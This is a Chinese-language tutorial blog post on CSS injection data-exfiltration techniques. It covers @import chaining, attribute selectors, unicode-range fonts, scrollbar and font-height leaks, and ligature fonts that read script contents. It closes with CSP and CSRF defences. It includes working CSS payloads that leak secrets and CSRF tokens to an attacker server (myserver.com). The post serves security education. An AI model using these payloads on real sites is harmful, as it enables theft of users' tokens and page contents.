在上一篇面，我们知道了基本的 CSS 偷数据原理，并且以 HackMD 作为实际案例示范，成功偷到了 CSRF token，而这篇则是要深入去看 CSS injection 的一些细节，解決以下问题：

在上篇里面我们有提到，我们想偷的数据有可能只要重新整理以后就会改变（如 CSRF token），所以我们必须在不重新整理的情况之下加载新的 style。

上一篇里面之所以做得到，是因为 HackMD 本身就是一个标榜即时更新的文件，但如果是一般的网页呢？在不能用 JavaScript 的情况下，该如何不断动态载入新的 style？

有关于这个问题，在 CSS Injection Attacks 这份简报里面给出了解答：@import。

在 CSS 里面，你可以用 @import 去把外部的其他 style 引入进来，就像 JavaScript 的 import 那样。

我们可以利用这个功能做出引入 style 的回圈，如下面的代码：

@import url(https://myserver.com/start?len=8)

接着，在 server 回传如下的 style：

@import url(https://myserver.com/payload?len=1) @import url(https://myserver.com/payload?len=2) @import url(https://myserver.com/payload?len=3) @import url(https://myserver.com/payload?len=4) @import url(https://myserver.com/payload?len=5) @import url(https://myserver.com/payload?len=6) @import url(https://myserver.com/payload?len=7) @import url(https://myserver.com/payload?len=8)

重点来了，这边虽然一次引入了 8 个，但是 “后面 7 个 request，server 都会先 hang 住，不会给 response”，只有第一个网址 https://myserver.com/payload?len=1 会回传 response，内容为之前提过的偷资料 payload：

input[name="secret"][value^="a"] { background: url(https://b.myserver.com/leak?q=a) } input[name="secret"][value^="b"] { background: url(https://b.myserver.com/leak?q=b) } input[name="secret"][value^="c"] { background: url(https://b.myserver.com/leak?q=c) } //.... input[name="secret"][value^="z"] { background: url(https://b.myserver.com/leak?q=z) }

当浏览器收到 response 的时候，就会先载入上面这一段 CSS，载入完以后符合条件的元素就会发 request 到后端，假设第一个字是 d 好了，接著 server 这时候才回传 https://myserver.com/payload?len=2 的 response，内容为：

input[name="secret"][value^="da"] { background: url(https://b.myserver.com/leak?q=da) } input[name="secret"][value^="db"] { background: url(https://b.myserver.com/leak?q=db) } input[name="secret"][value^="dc"] { background: url(https://b.myserver.com/leak?q=dc) } //.... input[name="secret"][value^="dz"] { background: url(https://b.myserver.com/leak?q=dz) }

以此类推，只要不断重复这些步骤，就可以把所有字符都传到 server 去，靠的就是 import 会先载入已经下载好的 resource，然后去等待还没下载好的特性。

这边有一点要特别注意，你会发现我们载入 style 的 domain 是 myserver.com，而背景图片的 domain 是 b.myserver.com，这是因为浏览器通常对于一个 domain 能同时载入的 request 有数量上的限制，所以如果你全部都是用 myserver.com 的话，会发现背景图片的 request 送不出去，都被 CSS import 给卡住了。

因此需要设置两个 domain，来避免这种状况。

除此之外，上面这种方式在 Firefox 是行不通的，因为在 Firefox 上就算第一个的 response 先回来，也不会立刻更新 style，要等所有 request 都回来才会一起更新。解法的话可以参考这一篇：CSS data exfiltration in Firefox via a single injection point，把第一步的 import 拿掉，然后每一个字符的 import 都用额外的 style 包着，像这样：

<style>@import url(https://myserver.com/payload?len=1)</style> <style>@import url(https://myserver.com/payload?len=2)</style> <style>@import url(https://myserver.com/payload?len=3)</style> <style>@import url(https://myserver.com/payload?len=4)</style> <style>@import url(https://myserver.com/payload?len=5)</style> <style>@import url(https://myserver.com/payload?len=6)</style> <style>@import url(https://myserver.com/payload?len=7)</style> <style>@import url(https://myserver.com/payload?len=8)</style>

而上面这样 Chrome 也是没问题的，所以统一改成上面这样，就可以同时支持两种浏览器了。

总结一下，只要用 @import 这个 CSS 的功能，就可以做到 “不重新载入页面，但可以动态载入新的 style”，进而偷取后面的每一个字符。

若是想要在现实世界中执行这种攻击，效率可能要再更好一点。以 HackMD 为例，CSRF token 总共有 36 个字，所以就要发 36 个 request，确实是太多了点。

事实上，我们一次可以偷两个字符，因为上集有讲过除了 prefix selector 以外，也有 suffix selector，所以可以像这样：

input[name="secret"][value^="a"] { background: url(https://b.myserver.com/leak?q=a) } input[name="secret"][value^="b"] { background: url(https://b.myserver.com/leak?q=b) } // ... input[name="secret"][value$="a"] { border-background: url(https://b.myserver2.com/suffix?q=a) } input[name="secret"][value$="b"] { border-background: url(https://b.myserver2.com/suffix?q=b) }

除了偷开头以外，我们也偷结尾，效率立刻变成两倍。要特别注意的是开头跟结尾的 CSS，一个用的是 background，另一个用的是 border-background，是不同的属性，因为如果用同一个属性的话，内容就会被其他的盖掉，最后只会发出一个 request。

若是内容可能出现的字符不多，例如说 16 个的话，那我们可以直接一次偷两个开头加上两个结尾，总共的 CSS rule 数量为 16*16*2 = 512 个，应该还在可以接受的范围内，就能够再加速两倍。

除此之外，也可以朝 server 那边去改善，例如说改用 HTTP/2 或甚至是 HTTP/3，都有机会能够加速 request 载入的速度，进而提升效率。

除了偷属性之外，有没有办法偷到其他东西？例如说，页面上的其他文字？或甚至是 script 里面的代码？

根据我们在上一篇里面讲的原理，是做不到的。因为能偷到属性是因为 “属性选择器” 这个东西，才让我们选到特定的元素，而在 CSS 里面，并没有可以选择 “内文” 的选择器。

因此，我们需要对 CSS 以及网页上的样式有更深入的理解，才有办法达成这件看似不可能的任务。

在 CSS 里面，有一个属性叫做 unicode-range，可以针对不同的字符，载入不同的字体。像是底下这个从 MDN 拿来的范例：

<!DOCTYPE html> <html> <body> <style> @font-face { font-family: "Ampersand"; src: local("Times New Roman"); unicode-range: U+26; } div { font-size: 4em; font-family: Ampersand, Helvetica, sans-serif; } </style> <div>Me & You = Us</div> </body> </html>

& 的 unicode 是 U+0026，因此只有 & 这个字会用不同的字体来显示，其他都用同一个字体。

这招前端工程师可能有用过，例如说英文跟中文如果要用不同字体来显示，就很适合用这一招。而这招也可以用来偷取页面上的文字，像这样：

<!DOCTYPE html> <html> <body> <style> @font-face { font-family: "f1"; src: url(https://myserver.com?q=1); unicode-range: U+31; } @font-face { font-family: "f2"; src: url(https://myserver.com?q=2); unicode-range: U+32; } @font-face { font-family: "f3"; src: url(https://myserver.com?q=3); unicode-range: U+33; } @font-face { font-family: "fa"; src: url(https://myserver.com?q=a); unicode-range: U+61; } @font-face { font-family: "fb"; src: url(https://myserver.com?q=b); unicode-range: U+62; } @font-face { font-family: "fc"; src: url(https://myserver.com?q=c); unicode-range: U+63; } div { font-size: 4em; font-family: f1, f2, f3, fa, fb, fc; } </style> Secret: <div>ca31a</div> </body> </html>

如果你去看 network tab，会看到一共发送了 4 个 request：

藉由这招，我们可以得知页面上有：13ac 这四个字符。

而这招的局限之处也很明显，就是：

但是从 “载入字体” 的角度下去思考怎么偷到字符，着实带给了许多人一个新的思考方式，并发展出各式各样其他的方法。

这招要解决的主要是上一招碰到的问题：“没办法知道字元顺序”，然后这招结合了很多细节，步骤很多，要仔细听了。

首先，我们其实可以不载入外部字体，用内置的字体就能 leak 出字符。这要怎么做到呢？我们要先找出两组内置字体，高度会不同。

例如有一个叫做 “Comic Sans MS” 的字体，高度就比另一个 “Courier New” 高。

举个例子，假设预设字体的高度是 30px，而 Comic Sans MS 是 45px 好了。那现在我们把文字区块的高度设成 40px，并且载入字体，像这样：

<!DOCTYPE html> <html> <body> <style> @font-face { font-family: "fa"; src:local('Comic Sans MS'); font-style:monospace; unicode-range: U+41; } div { font-size: 30px; height: 40px; width: 100px; font-family: fa, "Courier New"; letter-spacing: 0px; word-break: break-all; overflow-y: auto; overflow-x: hidden; } </style> Secret: <div>DBC</div> <div>ABC</div> </body> </html>

就会在画面上看到差异：

很明显 A 比其他字符的高度都高，而且根据我们的 CSS 设定，如果内容高度超过容器高度，会出现 scrollbar。虽然上面是截图看不出来，但是下面的 ABC 有出现 scrollbar，而上面的 DBC 没有。

再者，我们其实可以帮 scrollbar 设定一个外部的背景：

div::-webkit-scrollbar { background: blue; } div::-webkit-scrollbar:vertical { background: url(https://myserver.com?q=a); }

也就是说，如果 scrollbar 有出现，我们的 server 就会收到 request。如果 scrollbar 没出现，就不会收到 request。

更进一步来说，当我把 div 套用 “fa” 字体时，如果画面上有 A，就会出现 scrollbar，server 就会收到 request。如果画面上没有 A，就什么事情都不会发生。

因此，我如果一直重复载入不同字体，那我在 server 就能知道画面上有什么字符，这点跟刚刚我们用 unicode-range 能做到的事情是一样的。

那要怎么解决顺序的问题呢？

我们可以先把 div 的宽度缩减到只能显示一个字符，这样其他字符就会被放到第二行去，再搭配 ::first-line 这个 selector，就可以特别针对第一行做样式的调整，像是这样：

<!DOCTYPE html> <html> <body> <style> @font-face { font-family: "fa"; src:local('Comic Sans MS'); font-style:monospace; unicode-range: U+41; } div { font-size: 0px; height: 40px; width: 20px; font-family: fa, "Courier New"; letter-spacing: 0px; word-break: break-all; overflow-y: auto; overflow-x: hidden; } div::first-line{ font-size: 30px; } </style> Secret: <div>CBAD</div> </body> </html>

页面上你就只会看到一个 “C” 的字符，因为我们先用 font-size: 0px 把所有字符的尺寸都设为 0，再用 div::first-line 去做调整，让第一行的 font-size 变成 30px。换句话说，只有第一行的字元能看到，而现在的 div 宽度只有 20px，所以只会出现第一个字符。

接着，我们再运用刚刚学会的那招，去载入看看不同的字体。当我载入 fa 这个字体时，因为画面上没有出现 A，所以不会有任何变化。但是当我载入 fc 这个字体时，画面上有 C，所以就会用 Comic Sans MS 来显示 C，高度就会变高，scrollbar 就会出现，就可以利用它来发出 request，像这样：

div { font-size: 0px; height: 40px; width: 20px; font-family: fc, "Courier New"; letter-spacing: 0px; word-break: break-all; overflow-y: auto; overflow-x: hidden; --leak: url(http://myserver.com?C); } div::first-line{ font-size: 30px; } div::-webkit-scrollbar { background: blue; } div::-webkit-scrollbar:vertical { background: var(--leak); }

那我们要怎么样不断使用新的 font-family 呢？用 CSS animation 就可以做到，你可以用 CSS animation 不断载入不同的 font-family 以及指定不同的 –leak 变量。

如此一来，我们就能知道画面上的第一个字符到底是什么。

知道了第一个字符以后，我们把 div 的宽度变长，例如说变成 40px，就能容纳两个字符，因此第一行就会是前两个字，接着再用一样的方式载入不同的 font-family，就能 leak 出第二个字符，详细流程如下：

从上面流程中可以看出 server 会依序收到 A, C, B 三个 reqeust，代表了画面上字符的顺序。而不断改变宽度以及 font-family 都可以用 CSS animation 做到。

想要看完整 demo 的可以看这个网页（出处：What can we do with single CSS injection?）：https://demo.vwzq.net/css2.html

这个解法虽然解决了 “不知道字元顺序” 的问题，但依然无法解决重复字符的问题，因为重复的字符不会再发出 request。

先讲结论，这一招可以解决上面所有问题，达成 “知道字符顺序，也知道重复字符” 的目标，能够偷到完整的文字。

要理解怎么偷之前，我们要先知道一个专有名词，叫做连字（ligature），在某些字型当中，会把一些特定的组合 render 成连在一起的样子，如下图（来源：wikipedia）：

那这个对我们有什么帮助呢？

我们可以自己制作出一个独特的字体，把 ab 设定成连字，并且 render 出一个超宽的元素。接着，我们把某个 div 宽度设成固定，然后结合刚刚 scrollbar 那招，也就是：“如果 ab 有出现，就会变很宽，scrollbar 就会出现，就可以载入 request 告诉 server；如果没出现，那 scrollbar 就不会出现，没有任何事情发生”。

流程是这样的，假设页面上有 acc 这三个字：

你知道，script 的内容是可以显示在页面上的吗？

head, script { display: block; }

只要加上这个 CSS，就可以让 script 内容也显示在画面上，因此我们也可以利用同样的技巧，偷到 script 的内容！

在实战上的话，你可以用 SVG 搭配其他工具，在 server 端迅速产生字体，想要看细节以及相关代码的话，可以参考这篇：Stealing Data in Great style – How to Use CSS to Attack Web Application.

而这边我就简单做个简化到不行的 demo，来证明这件事情是可行的。为了简化，有人做了一个 Safari 版本的 demo，因为 Safari 支持 SVG font，所以不需要再从 server 产生字型，原始文章在这裡：Data Exfiltration via CSS + SVG Font - PoC (Safari only)

简易版 demo：

<!DOCTYPE html> <html lang="en"> <body> <script> var secret = "abc123" </script> <hr> <script> var secret2 = "cba321" </script> <svg> <defs> <font horiz-adv-x="0"> <font-face font-family="hack" units-per-em="1000" /> <glyph unicode='"a' horiz-adv-x="99999" d="M1 0z"/> </font> </defs> </svg> <style> script { display: block; font-family:"hack"; white-space:n owrap; overflow-x: auto; width: 500px; background:lightblue; } script::-webkit-scrollbar { background: blue; } </style> </body> </html>

我用 script 放了两段 JS，里面内容分别是 var secret = "abc123" 跟 var secret2 = "cba321"，接着利用 CSS 载入我准备好的字体，只要有 "a 的连字，就会宽度超宽。

再来如果 scrollbar 有出现，我把背景设成蓝色的，比较显眼，最后的结果如下：

上面因为内容是 var secret = "abc123"，所以符合了 "a 的连字，因此宽度变宽，scrollbar 出现。

下面因为没有 a，所以 scrollbar 没出现（有 a 的地方都会缺字，应该跟我没有定义其他的 glyph 有关，但不影响结果）

只要把 scrollbar 的背景换成 URL，就可以从 server 端知道 leak 的结果。

如果想看实际的 demo 跟 server 端的写法，可以参考上面附的那两篇文章。

最后我们来讲一下防御方式，最简单明了的当然就是直接把 style 封起来不给用，基本上就不会有 CSS injection 的问题（除非操作方式有漏洞）。

如果真的要开放 style，也可以用 CSP 来阻挡一些资源的载入，例如说 font-src 就没有必要全开，style-src 也可以设置 allow list，就能够挡住 @import 这个语法。

再来，也可以考虑到 “如果页面上的东西被拿走，会发生什么事情”，例如说 CSRF token 被拿走，最坏就是 CSRF，此时就可以实作更多的防护去阻挡 CSRF，就算攻击者取得了 CSRF token，也没办法 CSRF（例如说多检查 origin header 之类的）。

CSS 果真博大精深，真的很佩服这些前辈们可以把 CSS 玩出这么多花样，发展出这麽多令人眼界大开的攻击手法。当初在研究的时候，利用属性选择器去 leak 这个我可以理解，用 unicode-range 我也能理解，但是那个用文字高度加上 CSS animation 去变化的，我花了不少时间才搞懂那在干嘛，连字那个虽然概念好懂，但真的要实作还是会碰到不少问题。

最后，这两篇文章主要算是介绍一下 CSS injection 这个攻击手法，因此实际的代码并不多，而这些攻击手法都参考自前人们的文章，列表我会附在下面，有兴趣的话可以阅读原文，会讲得更详细一点。